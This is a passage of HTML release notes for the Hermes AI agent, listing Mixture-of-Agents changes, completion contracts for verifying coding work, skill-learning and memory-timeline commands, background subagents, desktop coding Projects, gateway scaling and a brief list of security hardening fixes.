href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>See every model's reasoning, then watch the answer stream in</strong> — When a MoA ensemble runs, each reference model's full output now renders as its own labelled block — you can read what GPT-5 thought, what Claude thought, and what Grok thought, before the aggregator synthesizes them into one answer. And that final answer now streams to you live instead of appearing all at once after a long silence. This works in the CLI, the TUI, and the desktop app. You get to watch the committee deliberate, not just read the verdict. (<a href="https://github.com/NousResearch/hermes-agent/pull/53793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53793/hovercard">#53793</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53855/hovercard">#53855</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55625" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55625/hovercard">#55625</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56101" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56101/hovercard">#56101</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The agent verifies its own work — "done" means proven, not claimed</strong> — Hermes now records verification evidence for coding work and can decide it's finished by actually running your project's checks, not by asserting success. <code>/goal</code> gained <strong>completion contracts</strong>: you state what "done" looks like, and the standing-goal loop judges completion against that evidence instead of stopping when the model feels like it. There's a <code>pre_verify</code> hook for wiring in custom checks and a one-time migration that tunes the defaults sensibly. The difference between "I think I fixed it" and "the tests pass, here's proof." (<a href="https://github.com/NousResearch/hermes-agent/pull/50501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50501/hovercard">#50501</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52285" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52285/hovercard">#52285</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55413" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55413/hovercard">#55413</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53552" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53552/hovercard">#53552</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong><code>/learn</code> — turn anything into a reusable skill by describing it</strong> — Run <code>/learn &lt;anything&gt;</code> and Hermes distills a reusable skill out of whatever you point it at — a directory, a URL, or just the workflow you walked it through five minutes ago. It writes the skill to the standards in your CONTRIBUTING.md automatically. The next time you need that workflow, it's already there. Teaching Hermes a new trick is now a single command, not a manual skill-authoring session. (<a href="https://github.com/NousResearch/hermes-agent/pull/51506" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51506/hovercard">#51506</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52372" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52372/hovercard">#52372</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong><code>/journey</code> — a playable timeline of everything Hermes has learned about you</strong> — The CLI and TUI gained <code>/journey</code>, a learning timeline that shows the memories and skills Hermes has accumulated over time — and you can edit or delete any of them right from the view. Pair it with the desktop's new <strong>memory graph</strong> (a top-down, playable radial timeline of memories and skills) and for the first time you can actually <em>see</em> what your agent knows, watch it grow, and prune what's wrong. Your agent's memory stops being a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/55555" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55555/hovercard">#55555</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55859/hovercard">#55859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55226/hovercard">#55226</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Delegate a pile of work and keep going — background fan-out</strong> — <code>delegate_task</code> can now fan out multiple subagents that all run in the <strong>background</strong>: your chat is never blocked, and when every subagent finishes, their results come back as a single consolidated turn. Kick off "research these five competitors in parallel" or "audit these three modules," then carry on with something else while a small fleet works. When it's all done, you get one clean summary instead of babysitting each one. (<a href="https://github.com/NousResearch/hermes-agent/pull/49734" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49734/hovercard">#49734</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>First-class coding Projects in the desktop app</strong> — The desktop app gained real, per-profile <strong>Projects</strong> — a sidebar of your codebases, a coding rail, a review pane, git worktree management, and agent-facing project tools, all backed by a proper <code>project → repo → lane</code> model. Instead of scattered chat sessions, your coding work is organized into projects the agent understands and can act on. It's the desktop turning into an actual coding cockpit. (<a href="https://github.com/NousResearch/hermes-agent/pull/49037" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49037/hovercard">#49037</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54385" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54385/hovercard">#54385</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54517" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54517/hovercard">#54517</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Run Hermes at scale — scale-to-zero and drain coordination</strong> — The gateway can now go <strong>dormant when idle</strong> and quiesce cleanly before a restart, migration, or auto-update — without dropping in-flight conversations. A hosted or relay-only Hermes can scale to zero when nobody's talking to it and wake back up on demand, and disruptive lifecycle actions coordinate an external drain so nobody gets cut off mid-turn. Running Hermes for a team or as a hosted service just got a lot more production-grade. (<a href="https://github.com/NousResearch/hermes-agent/pull/52243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52243/hovercard">#52243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52937" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52937/hovercard">#52937</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54824/hovercard">#54824</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</p>
</li>
<li>
<p><strong>Cheaper self-improvement — smarter background review</strong> — The post-turn self-improvement fork (the one that decides whether to save a memory or skill) now routes to an auxiliary model, digests context instead of replaying the whole conversation, and adapts its cadence — so the "learn from what just happened" loop that runs after your turns costs a fraction of what it used to. You keep the self-improvement, you stop paying full main-model price for it. (<a href="https://github.com/NousResearch/hermes-agent/pull/49252" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49252/hovercard">#49252</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Compose your next prompt in your editor — <code>/prompt</code></strong> — <code>/prompt</code> opens your <code>$EDITOR</code> so you can hand-write a long, multi-line prompt in real markdown instead of fighting a one-line input box. Draft a detailed spec, a structured question, or a big paste, save, and it's queued as your next message. Small thing, huge quality-of-life win for anyone who writes Hermes more than a sentence at a time. (<a href="https://github.com/NousResearch/hermes-agent/pull/50509" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50509/hovercard">#50509</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Google Vertex AI — Gemini through your GCP service account, no static key</strong> — Vertex AI is now a first-class provider for Gemini models over Vertex's OpenAI-compatible endpoint. The reason a plain custom-provider setup always died mid-session is that Vertex has no static API key — every request needs a short-lived OAuth2 access token (~1h TTL) minted from a service-account JSON or Application Default Credentials. Hermes now mints and auto-refreshes those tokens for you, so if your org runs Gemini through Google Cloud, you point Hermes at your service account and it just works — no token-pasting, no mid-session expiry. (<a href="https://github.com/NousResearch/hermes-agent/pull/56363" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56363/hovercard">#56363</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/slawt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slawt">@slawt</a>)</p>
</li>
<li>
<p><strong>Security round</strong> — This window hardened several surfaces: MCP-config persistence attack surface locked down, cron <code>base_url</code> overrides that could exfiltrate provider credentials blocked, a non-reusable sentinel for prefix secrets in file reads, Slack app-level (<code>xapp-</code>) token redaction, a browser cloud-metadata floor enforced on every backend, and an <code>aiohttp</code> CVE floor across the lazy messaging paths. Fewer ways for a prompt-injected or misconfigured session to leak a credential. (<a href="https://github.com/NousResearch/hermes-agent/pull/50476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50476/hovercard">#50476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56196" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56196/hovercard">#56196</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54166" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54166/hovercard">#54166</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56227" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56227/hovercard">#56227</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52349" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52349/hovercard">#52349</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56237" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56237/hovercard">#56237</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claudlos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claudlos">@claudlos</a>)</p>
</li>
</ul>
<hr>
<h2>🧠 Mixture-of-Agents (MoA)</h2>
<p>MoA graduated from a mode to a first-class part of the model system this window.</p>
<ul>
<li><strong>Presets as selectable virtual models</strong> — each named MoA preset appears as a model under provider <code>moa</code>; pick it in any model picker and Hermes routes through the ensemble (<a href="https://github.com/NousResearch/hermes-agent/pull/46081" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46081/hovercard">#46081</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53561" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53561/hovercard">#53561</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53775/hovercard">#53775</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>/moa</code> is now one-shot sugar</strong> — runs a single prompt through the default preset and restores your model afterward; persistent switching goes through the model picker (<a href="https://github.com/NousResearch/hermes-agent/pull/53548" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53548/hovercard">#53548</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Reference-model output shown as labelled blocks</strong> in CLI, TUI, and desktop — read each model's reasoning before the aggregator's synthesis (<a href="https://github.com/NousResearch/hermes-agent/pull/53793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53793/hovercard">#53793</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53855/hovercard">#53855</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Aggregator response streams live</strong> instead of appearing whole after a silence (<a href="https://github.com/NousResearch/hermes-agent/pull/55625" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55625/hovercard">#55625</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>References see full tool state and fire on every user/tool response</strong>; advisory references end on a user turn and get a reference-role system prompt (<a href="https://github.com/NousResearch/hermes-agent/pull/54016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54016/hovercard">#54016</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54007/hovercard">#54007</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Opt-in full-turn trace persistence to JSONL</strong> (<code>moa.save_traces</code>) for debugging and eval (<a href="https://github.com/NousResearch/hermes-agent/pull/56101" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56101/hovercard">#56101</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Reliability: reference + aggregator models called through their provider's real route; context window resolved from the aggregator (not the 256K default); auxiliary tasks resolve to the aggregator; virtual provider blocked as a reference/aggregator slot; tolerant of hand-edited preset config (<a href="https://github.com/NousResearch/hermes-agent/pull/53580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53580/hovercard">#53580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53780" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53780/hovercard">#53780</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53827" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53827/hovercard">#53827</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53281" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53281/hovercard">#53281</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53275/hovercard">#53275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53556" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53556/hovercard">#53556</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MoA slot provider-identity unified on the single <code>call_llm</code> chokepoint; HermesBench results documented (<a href="https://github.com/NousResearch/hermes-agent/pull/55991" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55991/hovercard">#55991</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53206/hovercard">#53206</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>✅ Verification &amp; Goals — the agent proves its work</h2>
<ul>
<li><strong>Completion contracts for <code>/goal</code></strong> — state what "done" looks like; the standing-goal loop judges against evidence, not the model's say-so (<a href="https://github.com/NousResearch/hermes-agent/pull/50501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50501/hovercard">#50501</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>/goal wait &lt;pid&gt;</code></strong> — park the standing-goal loop on a background process instead of re-poking the agent (<a href="https://github.com/NousResearch/hermes-agent/pull/50503" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50503/hovercard">#50503</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Coding verification evidence ledger</strong> — profile-scoped record of canonical project checks detected by <code>agent.coding_context</code>; gateway exposes verification status (<a href="https://github.com/NousResearch/hermes-agent/pull/52285" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52285/hovercard">#52285</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52286/hovercard">#52286</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong><code>pre_verify</code> hook + coding guidance config</strong>; verification stop loop + ad-hoc verification scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/55413" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55413/hovercard">#55413</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52296" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52296/hovercard">#52296</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52297" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52297/hovercard">#52297</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>verify-on-stop defaults OFF</strong> with a one-time v32 migration; skips doc-only edits; surface-aware "auto" default restored; gated off for messaging surfaces (<a href="https://github.com/NousResearch/hermes-agent/pull/53552" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53552/hovercard">#53552</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54740" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54740/hovercard">#54740</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55449/hovercard">#55449</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52412" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52412/hovercard">#52412</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GodsBoy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GodsBoy">@GodsBoy</a>)</li>
</ul>
<h2>🎓 Self-Improvement (Learn / Journey)</h2>
<ul>
<li><strong><code>/learn &lt;anything&gt;</code></strong> — distill a reusable skill from a directory, URL, or a workflow you just walked through; honors CONTRIBUTING.md skill standards and mixed requirements (<a href="https://github.com/NousResearch/hermes-agent/pull/51506" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51506/hovercard">#51506</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52372" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52372/hovercard">#52372</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55956" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55956/hovercard">#55956</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>/journey</code></strong> — CLI + TUI learning timeline of accumulated memories and skills, with in-place edit/delete (<a href="https://github.com/NousResearch/hermes-agent/pull/55555" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55555/hovercard">#55555</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55859/hovercard">#55859</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Cheaper background review</strong> — aux-model routing + context digest + adaptive cadence for the post-turn self-improvement fork (<a href="https://github.com/NousResearch/hermes-agent/pull/49252" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49252/hovercard">#49252</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>memory</code> graph</strong> in the desktop — playable radial timeline of memories + skills over time (<a href="https://github.com/NousResearch/hermes-agent/pull/55226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55226/hovercard">#55226</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<h3>Coding cockpit</h3>
<ul>
<li><strong>First-class Projects</strong> — per-profile sidebar, coding rail, review pane, agent project tools (<code>project → repo → lane</code>); remote-gateway-aware folder picker + git cockpit (status, review, worktrees) (<a href="https://github.com/NousResearch/hermes-agent/pull/49037" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49037/hovercard">#49037</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54385" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54385/hovercard">#54385</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Multi-terminal panel</strong> with read-only agent terminals; persist &amp; restore terminal tabs + scrollback across relaunch (<a href="https://github.com/NousResearch/hermes-agent/pull/54517" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54517/hovercard">#54517</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54585" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54585/hovercard">#54585</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>PR-style file diffs in chat</strong>; in-app spot editor for the file preview pane; inline rich embeds, diagrams &amp; alerts in assistant markdown (<a href="https://github.com/NousResearch/hermes-agent/pull/50731" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50731/hovercard">#50731</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52772" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52772/hovercard">#52772</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52935" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52935/hovercard">#52935</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>UX &amp; surfaces</h3>
<ul>
<li>Conversation timeline rail for long threads; context-usage breakdown popover; read-only spectator transcript for subagent watch windows; pop the composer into a draggable floating window (<a href="https://github.com/NousResearch/hermes-agent/pull/51094" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51094/hovercard">#51094</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54907" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54907/hovercard">#54907</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55033/hovercard">#55033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49488" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49488/hovercard">#49488</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>)</li>
<li>Read replies aloud (auto-TTS) composer toggle; remember window size/position/maximized across launches; redesigned clarify prompt; shared overlay Panel primitive for cron/profiles/agents (<a href="https://github.com/NousResearch/hermes-agent/pull/55154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55154/hovercard">#55154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52086/hovercard">#52086</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52993" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52993/hovercard">#52993</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54558" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54558/hovercard">#54558</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
